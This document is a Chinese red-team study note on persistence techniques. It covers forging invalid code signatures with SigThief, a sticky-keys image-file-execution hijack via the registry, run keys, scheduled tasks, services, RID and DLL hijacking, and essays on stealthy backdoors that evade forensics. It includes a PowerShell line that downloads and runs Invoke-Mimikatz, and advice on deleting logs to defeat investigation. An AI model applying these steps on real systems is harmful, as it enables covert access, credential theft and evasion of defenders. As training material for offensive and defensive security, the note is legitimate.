红队攻防学习之权限维持

七、权限维持

7.1 操作系统后门

7.1.1 Linux

参考文章:https://cloud.tencent.com/developer/article/1666643


7.1.2 Windows

7.1.2.1 对抗权限长期把控-伪造无效签名

Github:https://github.com/secretsquirrel/SigThief

简介:

在实战中,尤其是需要长期控制的目标,除免杀对抗安全软件以外,还需考虑人为无 意查看恶意文件,如数字签名是否拥有。而许多安全软件,又仅仅验证是否有签名,而非验 证签名是否有效。那么针对重要的目标,需要提前做多重对抗准备。

伪造无效签名payload:

sigthief.pyi 有签名的文件.exe ‐t 没签名的文件.exe ‐o 新的文件名.exe

许多安全软件,仅仅是验证是否有数字签名,而不确认是否有效

该原始python在伪造证书时,需要注意2点:

原始证书文件需要对应目标机的机器版本以及位数,如目标机是Windows 2003,那么需要原始带证书文件也为Windows 2003的文件。包括第三方文件。

伪造证书后,例:在Windows 2003 开启验安全验证后,双击无法运行,也无报 错,需要命令行下执行即可。

7.1.2.2 常见windows持久控制总结

http://www.sins7.cn/summary-of-windows-persistence-backdoor-for-intranet-penetration/

https://www.freebuf.com/articles/system/229209.html

7.1.2.3 Windows RID劫持

Rid_Hijack模块是一个关于后渗透阶段用来维持权限的模块…利用

https://xz.aliyun.com/t/2998
https://www.freebuf.com/articles/system/169925.html

7.1.2.4 Shift映像劫持后门新玩法

映像劫持简介

映像劫持(Image File Execution Options),简单的说法,就是当你打开的是程序A,而运行的确是程序B。

映像劫持其实是Windows内设的用来调试程序的功能,但是现在却往往被病毒恶意利用。当用户双击对应的程序后,操作系统就会给外壳程序(例如“explorer.exe”)发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的“Dubugger”键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到“劫持”的虚假程序。

简单测试

映像劫持技术的利用,存在已久,这里再简单说明下:修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options下sethc.exe,添加一个Debugger字符值(REG_SZ),并且赋值为cmd.exe的执行路径为C:\windows\system32\cmd.exe

之后键入五下Shift执行sethc.exe程序时便会执行cmd.exe程序。

映像劫持后门新玩法

参考文章:

https://zhuanlan.zhihu.com/p/98526538

7.1.2.4 windows权限维持篇-注册表维权

https://cloud.tencent.com/developer/article/1553305

https://www.cnblogs.com/xiaozi/p/11798030.html ---Window权限维持(一):注册表运行键

书上的知识点很详细的介绍了,思路很清晰!!!


7.1.2.5 windows权限维持篇2-计划任务维权

https://www.cnblogs.com/xiaozi/p/11797078.html

书上的知识点很详细的介绍了,思路很清晰!!!


7.1.2.6 windows 权限维持篇3-服务service维权

https://www.cnblogs.com/xiaozi/p/11815957.html

书上的知识点很详细的介绍了,思路很清晰!!!
介绍了命令行方式添加服务、powershell形式添加服务、SharPersist添加服务进行、Metasploit服务维权模块进行权限维持讲解!!


7.2 第三方组件后门

开始Windows也简单介绍了…

7.2.1 APT对抗(一)红蓝对抗关于后门对抗

https://cloud.tencent.com/developer/article/1497360

7.2.2 APT对抗(二)红蓝对抗关于后门对抗

https://cloud.tencent.com/developer/article/1497361

7.2.3 APT对抗(三)红蓝对抗关于后门对抗

前者的话: 从第三季开始引入段子,让本枯燥的学术文章,也变得生动有趣。第二季的Demo遵循人性五条来设计,回忆这其中五条:

1、攻击方与防御方的本质是什么?

增加对方的时间成本,人力成本,资源成本(不限制于服务器资源),金钱成本。

2、安全公司的本质是什么?

盈利、最小投入、最大产出

3、安全公司产品的本质是什么?

能适应大部分客户,适应市场化,并且适应大部分机器。(包括不限制于资源紧张,宽带不足等问题的客户)

4、安全人员的本质是什么?

赚钱,养家。买房,还房贷。导致,快速解决客户问题(无论暂时还是永久性解决),以免投诉。

5、对接客户的本质是什么?

对接客户也是某公司内安全工作的一员、与概念4相同。

6、线索排查与反线索排查

那么这个demo离可高级可持续性渗透后门还有一段距离,这里引入第六条线索排查反线索排查,在第二季的dem中,它生成了一个名为 micropoor.的文件,如果经验丰富的安全人员可根据时间差来排查日记,demo的工作流程大致是这样的,打开 notepad++,生成 micropoor. txt,写入内容,关闭文件流。根据线索排查,定位到 notepad++,导致权限失控。

在线索排查概念中,这里要引入“ABC”类线索关联排查,当防御者在得到线索A,顺藤到B,最后排查到目标文件C,根据五条中的第一条,demo要考虑如何删除指定日志内容,以及其他操作。来阻止ABC类线索关联排查。

不要思维固死在这是一个 notepad++后门的文章,它是一个面向类后门,面向的是可掌握源码编译的类后门。

同样不要把思维固定死在demo中的例子,针对不同版本的NT系统,完全引用”powershell IEX(New-Object System.Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/clymb3r/Powershell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1’);Invoke-Mimikatz"而关于bypass UAC,已经有成熟的源码。或发送至远程或是写在本地的图片里,不要让知识限制了后门的想象。这也正是第一季所说的:一个优秀的 Microdot是量身目标制定且一般不具备通用性的。一般不具备通用性。

观看目前文章的一共有2类人,一类攻击方,一类防守方。假设一个场景,现在摆在你面前有一台笔记本,并且这台笔记本有明确的后门,你的任务,排查后门。我想所有人都会排查注册表,服务,端口,进程等。因为这些具备通用性,也同样具备通用性排查手段。

临近文章结尾,第三次引用:在后门的进化对抗中,rootkit发生了变化,最大的改变是它的系统层次结构发生了变化。


7.2.4 APT对抗(四)红蓝对抗关于后门对抗

第四季是一个过渡季,过渡后门在对抗升级中由传统后门,衍生成锁定目标的制定后门。

引用百度百科的“后门程序”的相关解释 :

https://baike.baidu.com/item/%E5%90%8E%E9%97%A8%E7%A8%8B%E5%BA%8F/108154

安全从业人员,其实至少一直在与传统后门对抗,比如最常见的webshell免杀与webshell过waf。应急中的样本取证查杀远控残留文件等。但是webshell,远控仅仅又是“backdoor”的其中一种。

这里按照上几季的风格继续引用几个概念,只有概念清晰,才能了解如何对抗。

1:安全从业人员为什么要了解后门?

防御是以市场为核心的,而不是以项目为核心。需要对抗的可能是黑产从业者的流量劫持相关后门,或者是政治黑客的高持续渗透权限把控后门等。

2:攻击人员为什么要了解后门?

随着对抗传统后门的产品越来越成熟,由特征查杀,到行为查杀,到态势感知。到大数据联合特征溯源锁定,如何反追踪,是一个非常值得思考的问题。

3:后门与项目的关联是什么?

某项目,被入侵,应急并加固解决,若干天后,再次被入侵依然篡改为某博彩。导致安全从业人员,客户之间的问题。

4:后门与安全产品的关联是什么?

某客户购买某安全产品套装,在实战中,一般由非重点关注服务器迂回渗透到核心服务器来跨过安全产品监控,得到相关权限后,后门起到越过安全产品。它会涉及对其他附属安全产品的影响。如客户质疑:为什么我都买了你们的套装,还被入侵。并且这还是第二次了。

这里再一次引入百度百科的APT的主要特性:

——潜伏性: 这些新型的攻击和威胁可能在用户环境中存在一年以上或更久,他们不断收集各种信息,直到收集到重要情报。而这些发动APT攻击的黑客目的往往不是为了在短时间内获利,而是把“被控主机”当成跳板,持续搜索,直到能彻底掌握所针对的目标人、事、物,所以这种APT攻击模式, 实质上是一种“恶意商业间谍威胁”。

——持续性: 由于APT攻击具有持续性甚至长达数年的特征,这让企业的管理人员无从察觉。在此期间,这种“持续性”体现在攻击者不断尝试的各种攻击手段,以及渗透到网络内部后长期蛰伏。

——锁定特定目标: 针对特定政府或企业,长期进行有计划性、组织性的窃取情报行为,针对被锁定对象寄送几可乱真的社交工程恶意邮件,如冒充客户的来信,取得在计算机植入恶意软件的第一个机会。

——安装远程控制工具: 攻击者建立一个类似僵尸网络Botnet的远程控制架构,攻击者会定期传送有潜在价值文件的副本给命令和控制服务器(C&C Server)审查。将过滤后的敏感机密数据,利用加密的方式外传。

一次针对特定对象,长期、有计划性渗透的本质是什么?

窃取数据下载到本地,或者以此次渗透来达到变现目的。

一次具有针对性的渗透,绝对不单单是以渗透DMZ区为主,重要资料一般在内网服务器区(包括但不限制于数据库服务器,文件服务器,OA服务器),与内网办公区(包括但不限制于个人机,开发机,财务区)等。而往往这样的高级持续渗透,不能是一气呵成,需要一定时间内,来渗透到资料所在区域。而这里其中一个重要的环节就是对后门的要求 ,在渗透期间内(包括但不限制于一周到月甚至到年)以保持后续渗透。

传统型的后门不在满足攻击者的需求,而传统型的木马后门, 大致可分为六代:

第一代 ,是最原始的木马程序。主要是简单的密码窃取,通过电子邮件发送信息等,具备了木马最基本的功能。

第二代 ,在技术上有了很大的进步,冰河是中国木马的典型代表之一。

第三代 ,主要改进在数据传递技术方面,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了杀毒软件查杀识别的难度。

第四代 , 在进程隐藏方面有了很大改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。灰鸽子和蜜蜂大盗是比较出名的DLL木马。

第五代 ,驱动级木马。驱动级木马多数都使用了大量的Rootkit技术来达到在深度隐藏的效果,并深入到内核空间的,感染后针对杀毒软件和网络防火墙进行攻击,可将系统SSDT初始化,导致杀毒防火墙失去效应。有的驱动级木马可驻留BIOS,并且很难查杀。

第六代 ,随着身份认证UsbKey和杀毒软件主动防御的兴起,黏虫技术类型和特殊反显技术类型木马逐渐开始系统化。前者主要以盗取和篡改用户敏感信息为主,后者以动态口令和硬证书攻击为主。PassCopy和暗黑蜘蛛侠是这类木马的代表。

以远控举例,远控最开始生成的RAT功能一体化(包括但不限制于文件传输,命令执行等),后衍生成生成RAT支持插件式来达到最终目的。

以上的几代包括以上远控共同点,以独立服务或者独立进程,独立端口等来到达目的。难以对抗目前的反病毒反后门程序。那么传统型后门权限维持就不能满足目前的需求。

以第二季的demo举例,它无自己的进程,端口,服务,而是借助notepad++(非dll劫持)来生成php内存shell(这个过程相当于插件生成),并且无自启,当服务器重启后,继续等待管理员使用notepad++,它属于一个AB链后门,由A-notepad生成B-shell,以B-shell去完成其他工作。如果继续改进Demo,改造ABC链后门,A负责生成,B负责清理痕迹,C负责工作呢? 这是一个攻击者应该思考的问题。

而后门的主要工作有2点 :

1、越过安全产品

2、维持持续渗透权限

文章的结尾,这不是一个notepad++的后门介绍,它是一个demo,一个类后门 ,一个具有源码可控类的后门


7.2.5 dll劫持

书上介绍了-两种劫持方法剖析,目前没找到实例,书上讲得很好…

另外的dll劫持:

https://www.cnblogs.com/h2zZhou/p/8601375.html

https://www.4hou.com/posts/PrJ4

https://www.freebuf.com/articles/system/227824.html

7.2.6 APT对抗-红蓝对抗关于后门对抗(五~七)

详情见中册502页